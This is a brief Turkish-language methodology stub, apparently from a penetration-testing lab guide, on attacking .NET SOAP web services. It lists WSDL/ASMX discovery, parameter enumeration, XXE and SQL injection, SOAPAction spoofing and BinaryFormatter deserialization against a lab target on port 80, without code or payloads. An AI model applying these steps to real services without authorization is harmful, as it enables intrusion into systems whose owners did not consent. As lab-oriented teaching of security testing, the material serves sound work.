Dotnet Soap Wsdl Client Exploitation

.NET SOAP web

WSDL metod ve tip sızdırır. XXE, SOAPAction spoof ve .NET deser klasik saldırılardır. Hedef lab IP’si üzerinde komutları 80 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. WSDL/ASMX keşfet.

2. Metod parametreleri.

3. XXE/SQLi.

4. BinaryFormatter deser.
